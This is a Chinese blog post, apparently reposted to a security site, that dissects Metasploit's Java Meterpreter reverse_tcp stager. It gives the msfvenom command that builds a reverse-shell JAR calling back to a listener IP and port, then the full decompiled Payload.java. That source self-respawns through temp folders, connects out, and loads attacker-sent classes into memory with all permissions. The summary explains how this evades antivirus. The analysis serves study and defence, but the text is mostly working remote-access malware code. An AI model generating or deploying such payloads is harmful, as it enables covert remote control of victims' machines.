Meterpreter源码分析

admin 2023年9月24日00:09:50评论68 views字数 12362阅读41分12秒阅读模式

一、生成木马上线

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.245.129 LPORT=4444 > /home/rkabyss/payload.jar

Meterpreter源码分析

二、用jd-jui反编译源码

Meterpreter源码分析

Meterpreter源码分析

三、源码分析

MANIFEST.MF

Manifest-Version: 1.0              Main-Class: metasploit.Payload    Permissions: all-permissions
Name: metasploit.dat
Name: metasploit/Payload.class

metasploit.dat

Spawn=2LHOST=192.168.245.129LPORT=4444

Payload.java

package metasploit;
import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.DataInputStream;import java.io.File;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.io.PrintStream;import java.net.ServerSocket;import java.net.Socket;import java.net.URL;import java.net.URLConnection;import java.security.AllPermission;import java.security.CodeSource;import java.security.Permissions;import java.security.ProtectionDomain;import java.util.Enumeration;import java.util.Locale;import java.util.Properties;import java.util.Stack;import java.util.StringTokenizer;
public class Payload extends ClassLoader { private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH); //获取当前操作系统 private static final String PATH_SEP = System.getProperty("path.separator"); //获取路径分隔符 private static final boolean IS_AIX = "aix".equals(OS_NAME); //判断是不是基于UNIX系统 是True 不是false private static final boolean IS_DOS = PATH_SEP.equals(";"); //判断路径分隔符是不是";" private static final String JAVA_HOME = System.getProperty("java.home"); //获取java安装目录
public static void main(String[] paramArrayOfString) throws Exception { Properties properties = new Properties(); //创建读写配置文件 Class<Payload> clazz = Payload.class; //通过反射获取Payload类,Payload.class String str1 = clazz.getName().replace('.', '/') + ".class"; //获取文件路径 InputStream inputStream = clazz.getResourceAsStream("/metasploit.dat"); //创建IO加载配置文件
//inputStream为null此条件不执行 if (inputStream != null) { properties.load(inputStream); inputStream.close(); } //获取配置文件Executable字段。配置文件没有Executable所有str2为null String str2 = properties.getProperty("Executable");
//str2为null此条件不执行 if (str2 != null) { //通过File创建一个名为~spawn.tmp临时文件夹 File file1 = File.createTempFile("~spawn", ".tmp"); //删除创建的临时文件夹 //这两步,刚创建完又删除是为了获取系统路径(C:WindowsTemp),对于不同系统临时文件夹位置不同,开发者通过用API来回去临时文件夹 file1.delete(); //在上一步路径下创建一个"~spawn.tmp.dir"文件 File file2 = new File(file1.getAbsolutePath() + ".dir"); //创建文件 file2.mkdir(); //file3是,将str2写到file2文件夹中,str2值为Executable字段 File file3 = new File(file2, str2); //clazz是正在分析的Payload类,将这个类复制一份到临时文件夹下面 writeEmbeddedFile(clazz, str2, file3); //将Executable字段删除 properties.remove("Executable"); //添加DroppedExecutable字段 properties.put("DroppedExecutable", file3.getCanonicalPath()); }

//获取配置文件中Spawn值,默认Spawn值为0,i=2 int i = Integer.parseInt(properties.getProperty("Spawn", "0")); //上面创建文件的绝对路径 String str3 = properties.getProperty("DroppedExecutable"); //if判断Spawn值是否大于0,现在Spawn值为2 if (i > 0) { //Spawn - 1,Spawn=1 properties.setProperty("Spawn", String.valueOf(i - 1)); //通过File创建一个名为~spawn.tmp临时文件夹 File file1 = File.createTempFile("~spawn", ".tmp"); //删除创建的临时文件夹 //这两步,刚创建完又删除是为了获取系统路径(C:WindowsTemp),对于不同系统临时文件夹位置不同,开发者通过用API来回去临时文件夹 file1.delete(); //在上一步路径下创建一个"~spawn.tmp.dir"文件夹 File file2 = new File(file1.getAbsolutePath() + ".dir"); //在临时文件夹"~spawn.tmp.dir"下创建metasploit.dat文件 File file3 = new File(file2, "metasploit.dat"); //在临时文件夹下创建一个metasploit文件夹 File file4 = new File(file2, str1); file4.getParentFile().mkdirs(); //将当前分析的Payload.class类,复制一份到metasploit文件夹下,(C:WindowsTemp~spawn.tmp.dirmetasploitPayload.class) writeEmbeddedFile(clazz, str1, file4);
//判断配置文件中URL值是否为"https:"开头 if (properties.getProperty("URL", "").startsWith("https:")) //写入文件 writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(file4.getParentFile(), "PayloadTrustManager.class")); //判断配置文件中的AESPassword默认为空,如果不为空则进入 if (properties.getProperty("AESPassword", (String)null) != null) //写入文件 writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(file4.getParentFile(), "AESEncryption.class")); //在临时目录创建metasploit.dat文件,此时metasploit.dat文件中Spawn为1 FileOutputStream fileOutputStream = new FileOutputStream(file3); properties.store(fileOutputStream, ""); fileOutputStream.close(); //getJreExecutable寻找当前JAVA环境,找到java.exe .file2="~spawn.tmp.dir"临时文件夹,clazz.getName()为当前Payload.Clazz //将这些参数放到数组中 //运行程序C:Javajdk1.8bin -classpath C:WindowsTemp~spawn.tmp.dirmetasploitPayload.class //如果运行.java是java -jar ,如果运行.clazz 为java -classpath //运行刚才将本类复制到临时目录的另一个自己,相当于现在一个运行的自己,和一个临时目录的自己 Process process = Runtime.getRuntime().exec(new String[] { getJreExecutable("java"), "-classpath", file2.getAbsolutePath(), clazz.getName() }); //关闭 process.getInputStream().close(); process.getErrorStream().close(); Thread.sleep(2000L); File[] arrayOfFile = { file4, file4.getParentFile(), file3, file2 }; for (byte b = 0; b < arrayOfFile.length; b++) { for (byte b1 = 0; b1 < 10 && !arrayOfFile[b].delete(); b1++) { arrayOfFile[b].deleteOnExit(); Thread.sleep(100L); } } //因为程序执行了if条件,所有下边的else if和else都不会在执行了,所以程序执行结束,但只是这个程序结束了,临时目录下的文件才刚开始运行 //str3=DroppedExecutable为null } else if (str3 != null) { File file = new File(str3); if (!IS_DOS) try { try { File.class.getMethod("setExecutable", new Class[] { boolean.class }).invoke(file, new Object[] { Boolean.TRUE }); } catch (NoSuchMethodException noSuchMethodException) { Runtime.getRuntime().exec(new String[] { "chmod", "+x", str3 }).waitFor(); } } catch (Exception exception) { exception.printStackTrace(); } Runtime.getRuntime().exec(new String[] { str3 }); if (!IS_DOS) { file.delete(); file.getParentFile().delete(); } } else { //创建一个OutputStream流 OutputStream outputStream; //读取配置文件中LPORT赋值给j int j = Integer.parseInt(properties.getProperty("LPORT", "4444")); //读取配置文件获取LHOST赋值给str4 String str4 = properties.getProperty("LHOST", (String)null); //读取配置文件获取URL赋值给str5,str5 = null String str5 = properties.getProperty("URL", (String)null); InputStream inputStream1 = null; //j是端口,不小于等于0,此if条件不执行 if (j <= 0) { inputStream1 = System.in; outputStream = System.out; //str5是URL,所以str5 = null,此if条件不执行 } else if (str5 != null) { if (str5.startsWith("raw:")) { inputStream1 = new ByteArrayInputStream(str5.substring(4).getBytes("ISO-8859-1")); } else if (str5.startsWith("http")) { URLConnection uRLConnection = (new URL(str5)).openConnection(); if (str5.startsWith("https:")) Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", new Class[] { URLConnection.class }).invoke(null, new Object[] { uRLConnection }); addRequestHeaders(uRLConnection, properties); inputStream1 = uRLConnection.getInputStream(); } outputStream = new ByteArrayOutputStream(); } else { //创建socket Socket socket; //str4 = LHOST不为null进行条件 if (str4 != null) { //如果LHOST不为null,new创建Socket,str4 = LHOST j = LPORT socket = new Socket(str4, j); } else { ServerSocket serverSocket = new ServerSocket(j); socket = serverSocket.accept(); serverSocket.close(); } //socket输入流,得到输入流其实就是从服务器端发回的数据。 inputStream1 = socket.getInputStream(); //socket输出流,得到的输出流其实就是发送给服务器端的数据。 outputStream = socket.getOutputStream(); } //获取AESPassword对应的值,str6 = null String str6 = properties.getProperty("AESPassword", (String)null); //str6 = null此条件不执行 if (str6 != null) { Object[] arrayOfObject = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] { InputStream.class, OutputStream.class, String.class }).invoke(null, new Object[] { inputStream1, outputStream, str6 }); inputStream1 = (InputStream)arrayOfObject[0]; outputStream = (OutputStream)arrayOfObject[1]; } //通过socket与服务端建立连接,从TCP流里面了拿到服务端发过来的数据(大马,真正实现功能的代码),进行加载。 StringTokenizer stringTokenizer = new StringTokenizer("Payload -- " + properties.getProperty("StageParameters", ""), " "); String[] arrayOfString = new String[stringTokenizer.countTokens()]; for (byte b = 0; b < arrayOfString.length; b++) arrayOfString[b] = stringTokenizer.nextToken(); (new Payload()).bootstrap(inputStream1, outputStream, properties.getProperty("EmbeddedStage", (String)null), arrayOfString); } } private static void addRequestHeaders(URLConnection paramURLConnection, Properties paramProperties) { Enumeration<?> enumeration = paramProperties.propertyNames(); while (enumeration.hasMoreElements()) { Object object = enumeration.nextElement(); if (object instanceof String) { String str = (String)object; if (str.startsWith("Header")) paramURLConnection.addRequestProperty(str.substring(6), paramProperties.getProperty(str)); } } } private static void writeEmbeddedFile(Class paramClass, String paramString, File paramFile) throws FileNotFoundException, IOException { InputStream inputStream = paramClass.getResourceAsStream("/" + paramString); FileOutputStream fileOutputStream = new FileOutputStream(paramFile); byte[] arrayOfByte = new byte[4096]; int i; while ((i = inputStream.read(arrayOfByte)) != -1) fileOutputStream.write(arrayOfByte, 0, i); fileOutputStream.close(); } private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream, String paramString, String[] paramArrayOfString) throws Exception { try { Class<?> clazz; DataInputStream dataInputStream = new DataInputStream(paramInputStream); Permissions permissions = new Permissions(); permissions.add(new AllPermission()); ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new java.security.cert.Certificate[0]), permissions); if (paramString == null) { int i = dataInputStream.readInt(); do { byte[] arrayOfByte = new byte[i]; dataInputStream.readFully(arrayOfByte); resolveClass(clazz = defineClass(null, arrayOfByte, 0, i, protectionDomain)); i = dataInputStream.readInt(); } while (i > 0); } else { clazz = Class.forName("javapayload.stage." + paramString); } Object object = clazz.newInstance(); clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, paramArrayOfString }); } catch (Throwable throwable) { throwable.printStackTrace(new PrintStream(paramOutputStream)); } } private static String getJreExecutable(String paramString) { File file = null; if (IS_AIX) file = findInDir(JAVA_HOME + "/sh", paramString); if (file == null) file = findInDir(JAVA_HOME + "/bin", paramString); return (file != null) ? file.getAbsolutePath() : addExtension(paramString); } private static String addExtension(String paramString) { return paramString + (IS_DOS ? ".exe" : ""); } private static File findInDir(String paramString1, String paramString2) { File file1 = normalize(paramString1); File file2 = null; if (file1.exists()) { file2 = new File(file1, addExtension(paramString2)); if (!file2.exists()) file2 = null; } return file2; } //获取jdk运行目录 private static File normalize(String paramString) { Stack<String> stack = new Stack(); //返回Java盘符 String[] arrayOfString = dissect(paramString); //将盘符push到栈中 stack.push(arrayOfString[0]); //将jre的路径和系统的分隔符传入 StringTokenizer stringTokenizer = new StringTokenizer(arrayOfString[1], File.separator); while (stringTokenizer.hasMoreTokens()) { String str = stringTokenizer.nextToken(); if (".".equals(str)) continue; if ("..".equals(str)) { if (stack.size() < 2) return new File(paramString); stack.pop(); continue; } ////stack size=2 [1]=Java --> size=3 [2]=jdk1.8 --> size=4 [3]=jre --> size=5 [4]=bin stack.push(str); } StringBuilder stringBuilder = new StringBuilder(); for (byte b = 0; b < stack.size(); b++) { if (b > 1) stringBuilder.append(File.separatorChar); stringBuilder.append(stack.elementAt(b)); } //返回java所在盘符和路径,C:Javajdk1.8jrebin return new File(stringBuilder.toString()); } //paramString = C:Javajdk1.8jrebin private static String[] dissect(String paramString) { //获取不同语言的路径分隔符 char c = File.separatorChar; //将路径转换为不同语言的分隔符 paramString = paramString.replace('/', c).replace('\', c); String str = null; //i =1 int i = paramString.indexOf(':'); //判断是否存在盘符,并且运行系统是否是Windows if (i > 0 && IS_DOS) { //获取Java存在的盘符 j=2 int j = i + 1; //str=6 str = paramString.substring(0, j); //将java路径转换为char数组 char[] arrayOfChar = paramString.toCharArray(); //拼接/为C:/ str = str + c; //如果系统是windows则j==3,否则为2 j = (arrayOfChar[j] == c) ? (j + 1) : j; //获取剩余路径 StringBuilder stringBuilder = new StringBuilder(); for (int k = j; k < arrayOfChar.length; k++) { if (arrayOfChar[k] != c || arrayOfChar[k - 1] != c) stringBuilder.append(arrayOfChar[k]); } //paramString为Javajdk1.8jrebin paramString = stringBuilder.toString(); } else if (paramString.length() > 1 && paramString.charAt(1) == c) { int j = paramString.indexOf(c, 2); j = paramString.indexOf(c, j + 1); str = (j > 2) ? paramString.substring(0, j + 1) : paramString; paramString = paramString.substring(str.length()); } else { str = File.separator; paramString = paramString.substring(1); } return new String[] { str, paramString }; }}

/* Location: D:项目payloadpayload.jar!metasploitPayload.class * Java compiler version: 5 (49.0) * JD-Core Version: 1.1.3 */

四、总结

总结一下这段代码做了些什么,首先进入代码进行判断系统和获取java安装路径,通过反射获取当前执行类的路径和metasploit.dat配置文件路径,通过配置文件Spawn值进行判断,不小于等于0进入语句,对Spawn进行减1,将metasploit.dat配置文件和当前Payload.class复制一份到临时目录下,运行临时目录下Payload.class,此程序运行结束,临时目录下程序继续运行。运行两次直到Spawn值为0时往下执行,获取配置文件LPORT和LHOST,建立socket获取服务器发过来的大马,然后加载大马。

这个有两个非常好的方法,一是通过Spawn值进行判断将自己复制运行最后才和服务端进行建立连接。二是通过小马来获取大马,类似远程分离不落地免杀技术。先说一为什么这么做,如果上来直接运行的话行为太明显,复制和运行自己说白了就是混淆进程,因为每复制运行一次都会新建一个进程,可以有效的混淆进程。二可以从两点说,第一点是大马体积太大,小马只是为了和服务端建立链接然后加载大马,大马才是真正要执行我们我要实现的功能。第二点是类似远程分离不落地免杀技术能很好的过杀软,因为小马他是不容易被杀掉的,小马和服务端建立连接,大马是不落地的,直接被小马加载到内存直接运行的。CS远控用到也是这种方式,有兴趣的可以自己分析一下。

原文始发于微信公众号(我真不会渗透):Meterpreter源码分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月24日00:09:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Meterpreter源码分析http://cn-sec.com/archives/2063426.html

发表评论

匿名网友 填写信息